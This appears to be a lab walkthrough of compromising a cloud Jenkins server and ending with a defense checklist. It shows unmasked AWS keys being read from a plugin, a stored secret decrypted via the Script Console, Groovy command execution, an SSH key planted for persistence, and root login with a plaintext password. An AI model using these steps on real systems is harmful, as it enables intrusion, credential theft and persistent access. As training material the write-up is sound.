Exploit Jenkins in the Cloud
Exploit Jenkins in the Cloud
Scenario
During your security assessment for Huge Logistics, you’ve been handed various IP addresses relating to their infrastructure. One IP address, in particular, seems interesting. Your task is to investigate this IP address, exploit vulnerabilities, and escalate your permissions within their AWS environment. Every finding will help the company bolster their defenses.
Walkthrough
We are given IP address, let’s scan it. We see that there are 2 ports open: 22, 8080.
1
2
3
4
5
6
7
8
9
10
└─$ nmap -Pn 10.1.20.215
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-03 23:41 +06
Nmap scan report for 10.1.20.215
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds
If we visit port 8080, we see Jenkins
If we click notifications, we see that the host is configured as a node, which could allow gaining access to the system. Also, another important notification is S3 explorer, which displays configured AWS secrets without masking
Let’s check the secrets, so navigate to Manage Jenkins
-> System
. Then scroll down to S3 Explorer
, where we see AWS keys and bucket named jenkins-config-load
Authenticate using found AWS keys
1
2
3
4
5
6
7
└─$ aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRFWBMKSPV7Z",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/jenkins"
}
Let’s check the bucket
1
2
3
4
└─$ aws s3 ls jenkins-config-load
PRE admin/
2023-07-10 18:19:31 1111 config.xml
We see admin
folder and config.xml
. We can’t access admin
directory, but we can download config file, which is a job that executes system command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ cat config.xml
<?xml version='1.1' encoding='UTF-8'?>
<project>
<actions/>
<description>test job</description>
<keepDependencies>false</keepDependencies>
<properties/>
<scm class="hudson.scm.NullSCM"/>
<canRoam>true</canRoam>
<disabled>false</disabled>
<blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
<blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
<triggers/>
<concurrentBuild>false</concurrentBuild>
<builders>
<hudson.tasks.Shell>
<command>echo "hello, today is $(date)" > /tmp/jenkins_test</command>
<configuredLocalRules/>
</hudson.tasks.Shell>
</builders>
<publishers/>
<buildWrappers>
<hudson.plugins.timestamper.TimestamperBuildWrapper plugin="timestamper@1.25"/>
<hudson.plugins.build__timeout.BuildTimeoutWrapper plugin="build-timeout@1.31">
<strategy class="hudson.plugins.build_timeout.impl.AbsoluteTimeOutStrategy">
<timeoutMinutes>3</timeoutMinutes>
</strategy>
<operationList/>
</hudson.plugins.build__timeout.BuildTimeoutWrapper>
</buildWrappers>
</project>
Let’s check Credentials
, where we see jenkins-admin
AWS credentials
The key is masked
But if we check the source, we see encrypted value of the AWS secret key
Googling shows that we can decrypt Jenkins secrets using hudson.util.Secret.decrypt()
function in Script Console
Authenticate using new credentials
1
2
3
4
5
6
└─$ aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRF4VS5ZIW3J",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/jenkins-admin"
}
Now, let’s check admin
directory in the bucket we saw earlier
1
2
3
└─$ aws s3 ls s3://jenkins-config-load/admin/
2023-07-10 21:15:33 0
2024-02-10 03:13:57 115 jenkins-backup.sh
If we check the script, we find ssh credentials
1
2
3
4
└─$ aws s3 cp s3://jenkins-config-load/admin/jenkins-backup.sh -
#!/bin/bash
sshpass -p 'VHwecyhrecc3' -P passphrase scp -i dev.pem -r dev@52.203.31.30:/backups/jenkins /backups/
But ssh authentication fails, so let’s continue. Navigate to Script Console
and run the script below to find the identity of the user who the Jenkins is running as
1
2
3
4
5
def proc = "id".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
It’s running as jenkins
user. Let’s continue enumeration and check the current working directory
1
2
3
4
5
def proc = "pwd".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
The working directory is /var/lib/jenkins
. Let’s check home directory, to make sure if we can create .ssh
directory
1
2
3
4
5
def proc = "env".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
Okay, we can confirm that we have home directory, so let’s create .ssh
folder and authorized_keys
file, where we will paste our public key to access the ssh
1
2
3
4
5
def proc = "mkdir .ssh".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
1
2
3
4
5
def proc = "touch .ssh/authorized_keys".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
1
2
3
4
5
def proc = "touch .ssh/authorized_keys".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
Now we copy our public key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def command = "echo \"<PUBLIC_KEY>\" > .ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command].execute()
process.waitFor()
// Check for success
if(process.exitValue() == 0) {
println "Command executed successfully. Output:"
// Reading the standard output
process.in.eachLine { line ->
println line
}
} else {
println "Error executing command. Error Output:"
// Reading the error output
process.err.eachLine { line ->
println line
}
}
Now login to ssh using private key
We can try using the password we found earlier in the script from the admin
directory in the backet to login as root, and it works
Defense
This part is from lab’s defense section
- Permit network access to only the systems and hosts that are required.
- Under
Manage Jenkins > Security
and in theAuthentication
section, theNone (anonymous authentication)
option should be replaced with something more secure. - In
Authorization
configure matrix-based security to assign the minimum privileges needed for specific users or groups to do their work. - Scripts must be approved before running
- Any vulnerable plugins such as S3 Explorer should be removed, and we should
- Ensure that Jenkins and plugins are updated regularly.
- Enable logging, and ideally ensure that these are securely stored off the system.
- It would also be better to use distributed builds and not build on the built-in node.
- For a more in depth review of configuring security, the official Jenkins documentation is here.